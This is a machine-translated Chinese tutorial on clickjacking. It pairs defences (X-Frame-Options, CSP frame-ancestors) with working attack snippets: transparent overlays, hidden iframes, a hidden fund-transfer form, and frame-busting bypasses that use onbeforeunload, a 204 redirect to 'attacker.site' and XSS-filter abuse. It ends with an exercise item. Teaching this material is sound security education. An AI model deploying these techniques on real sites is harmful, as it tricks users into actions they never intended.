点击劫持 点击劫持是一种网络安全漏洞,恶意网站会诱骗用户点击他们以为的不同内容,从而在用户不知情或未同意的情况下执行意外操作。用户可能会被诱骗执行各种意外操作,例如输入密码、点击“删除我的账户”按钮、点赞帖子、删除帖子或在博客上发表评论。换句话说,正常用户在合法网站上可以执行的所有操作,都可能通过点击劫持来完成。 摘要 工具 方法论 UI伪装 隐形框架 按钮/表单劫持 执行方法 预防措施 实施X-Frame-Options头部 内容安全策略(CSP) 禁用JavaScript onBeforeUnload事件 XSS过滤器 IE8 XSS过滤器 Chrome 4.
点击劫持是一种网络安全漏洞,恶意网站会诱骗用户点击他们以为的不同内容,从而在用户不知情或未同意的情况下执行意外操作。用户可能会被诱骗执行各种意外操作,例如输入密码、点击“删除我的账户”按钮、点赞帖子、删除帖子或在博客上发表评论。换句话说,正常用户在合法网站上可以执行的所有操作,都可能通过点击劫持来完成。
UI伪装是一种点击劫持技术,攻击者会在合法网站或应用程序的上方叠加一个透明的UI元素。这个透明的UI元素包含恶意内容或操作,对用户来说在视觉上是隐藏的。通过调整元素的透明度和位置,攻击者可以诱骗用户与隐藏的内容交互,而用户却误以为自己正在与可见界面交互。
<div>),覆盖合法网站的整个可见区域。该元素通过CSS属性(如opacity: 0;)设置为透明。position: absolute; top: 0; left: 0;之类的CSS属性,透明元素被定位以覆盖整个视口。由于它是透明的,用户看不到它。<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;"> <a href="malicious-link">Click me</a> </div>
隐形框架是一种点击劫持技术,攻击者使用隐藏的iframe来诱骗用户在不知情的情况下与来自另一个网站的内容交互。这些iframe通过将尺寸设置为零(height: 0; width: 0;)并移除边框(border: none;)使其不可见。这些隐形框架中的内容可能是恶意的,例如网络钓鱼表单、恶意软件下载或其他有害操作。
创建隐藏的iframe:攻击者在网页中插入一个<iframe>元素,并将其尺寸设置为零,同时移除边框,使用户无法看到它。
<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
加载恶意内容:iframe的src属性指向由攻击者控制的恶意网站或资源。由于iframe是隐形的,这些内容会在用户不知情的情况下悄然加载。
用户交互:攻击者在隐形iframe之上叠加诱人的元素,让用户误以为自己正在与可见界面交互。例如,攻击者可能会在隐形iframe上放置一个透明按钮。当用户点击该按钮时,实际上是在点击iframe中的隐藏内容。
意外操作:由于用户不知道隐形iframe的存在,他们的交互可能导致意外操作,例如提交表单、点击恶意链接,甚至在未经同意的情况下进行金融交易。
按钮/表单劫持是一种点击劫持技术,攻击者诱骗用户与隐形或隐藏的按钮/表单交互,从而在合法网站上导致意外操作。通过在可见按钮或表单上叠加欺骗性元素,攻击者可以操纵用户的交互,在用户不知情的情况下执行恶意操作。
按钮/表单劫持的工作原理:
<button onclick="submitForm()">Click me</button>
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;"> <!-- Hidden form fields --> </form>
<button onclick="submitForm()">Click me</button> <form action="legitimate-site" method="POST" id="hidden-form"> <!-- Hidden form fields --> </form> <script> function submitForm() { document.getElementById('hidden-form').submit(); } </script>
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;"> <input type="hidden" name="username" value="attacker"> <input type="hidden" name="action" value="transfer-funds"> </form>
function submitForm() { document.getElementById('hidden-form').submit(); }
通过使用DENY或SAMEORIGIN指令实施X-Frame-Options头部,防止您的网站在未经您同意的情况下被嵌入到iframe中。
Header always append X-Frame-Options SAMEORIGIN
使用CSP来控制您的网站上可加载内容的来源,包括脚本、样式和框架。定义强大的CSP策略,以防止未经授权的框架嵌入和外部资源加载。HTML meta标签示例:
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">
由于此类客户端防护依赖于JavaScript框架破坏代码,如果受害者禁用了JavaScript,或者攻击者能够禁用JavaScript代码,那么网页将不会有任何针对点击劫持的保护机制。
有三种可用于框架的禁用技术:
<iframe src="http://target site" security="restricted"></iframe>
<iframe src="http://target site" sandbox></iframe>
onBeforeUnload事件可用于规避框架破坏代码。当框架破坏代码试图通过在整个网页而非仅在iframe中加载URL来销毁iframe时,就会调用此事件。处理函数会返回一个字符串,提示用户确认是否要离开页面。当这个字符串显示给用户时,用户很可能会取消导航,从而挫败目标的框架破坏尝试。
攻击者可以通过在顶级页面上注册一个unload事件来利用此攻击,代码示例如下:
<h1>www.fictitious.site</h1> <script> window.onbeforeunload = function() { return " Do you want to leave fictitious.site?"; } </script> <iframe src="http://target site">
"HTTP/1.1 204 No Content"标头的网页发送导航请求。204页面:
<?php header("HTTP/1.1 204 No Content"); ?>
攻击者页面:
<script> var prevent_bust = 0; window.onbeforeunload = function() { prevent_bust++; }; setInterval( function() { if (prevent_bust > 0) { prevent_bust -= 2; window.top.location = "http://attacker.site/204.php"; } }, 1); </script> <iframe src="http://target site">
该过滤器可以查看通过Web浏览器的所有请求和响应参数,并将其与一组正则表达式进行比较,以查找反射型XSS攻击的迹象。当过滤器识别出可能的XSS攻击时,它会禁用页面中的所有内联脚本,包括框架破坏脚本(外部脚本也可以这样做)。因此,攻击者可以通过在请求参数中插入框架破坏脚本的开头来诱导假阳性。
<script> if ( top != self ) { top.location=self.location; } </script>
攻击者视图:
<iframe src=”http://target site/?param=<script>if”>
与IE8 XSS过滤器相比,它的行为略有不同。事实上,借助此过滤器,攻击者可以通过在请求参数中传递脚本代码来禁用“script”。这使得框架页面可以专门针对包含框架破坏代码的单个代码片段,而保留其他代码不变。
攻击者视图:
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
检查以下代码:
<div style="position: absolute; opacity: 0;"> <iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe> </div> <button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">Click me</button>
确定此代码片段中的点击劫持漏洞。找出隐藏的iframe是如何在用户点击按钮时被用来利用用户的操作,从而将用户引导至恶意网站。
免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。